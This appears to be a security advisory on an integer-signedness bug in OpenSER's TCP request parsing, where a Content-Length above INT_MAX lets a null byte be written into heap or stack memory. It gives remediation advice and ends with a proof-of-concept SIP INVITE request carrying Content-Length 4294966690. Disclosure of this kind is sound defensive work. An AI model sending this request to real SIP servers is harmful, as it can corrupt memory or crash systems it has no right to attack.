DetailsOn line tcp_read.c:193, openser will take the user-specified Content-Length header and test it against the remaining bytes read. If the content-length is less than the total bytes read, it will assume that the rest is unneeded and set the integer tracking remaining bytes to the value of the content-length. This value is then used to increment a pointer into the user data. The content-length is stored in a signed 32-bit integer. If a value greater than INT_MAX (>=2^31) is given, it is treated as a negative value. The content-length is always used to increment the pointer and later, a '\0' character is written to the location of the decremented pointer. It is possible to write a 0 to data in the heap or in the stack.
RemediationThere are many possible fixes for this vulnerability. The simplest of which is to modify the if block in tcp_read_req() where a non-zero content length is checked for. As of this post, most available OpenSER versions have been updated. If you are running an old version, update!
Proof of conceptA sample request may look as follows:
INVITE sip:email@example.com SIP/2.0 Via: SIP/2.0/UDP localhost.localdomain:9090;branch=z9hG4bK00000000001 From: 0 <sip:firstname.lastname@example.org>;tag=0 To: Receiver <sip:email@example.com> Call-ID: firstname.lastname@example.org CSeq: 1 INVITE Contact: 0 <sip:email@example.com> Expires: 1200 Max-Forwards: 1 Content-Type: application/sdp v=0 o=0 0 0 IN IP4 localhost.localdomain s=Session SDP c=IN IP4 127.0.0.1 t=0 0 m=audio 9876 RTP/AVP 0 a=rtpmap:0 PCMU/8000 Content-Length: 4294966690 </sip:firstname.lastname@example.org></sip:email@example.com></sip:firstname.lastname@example.org>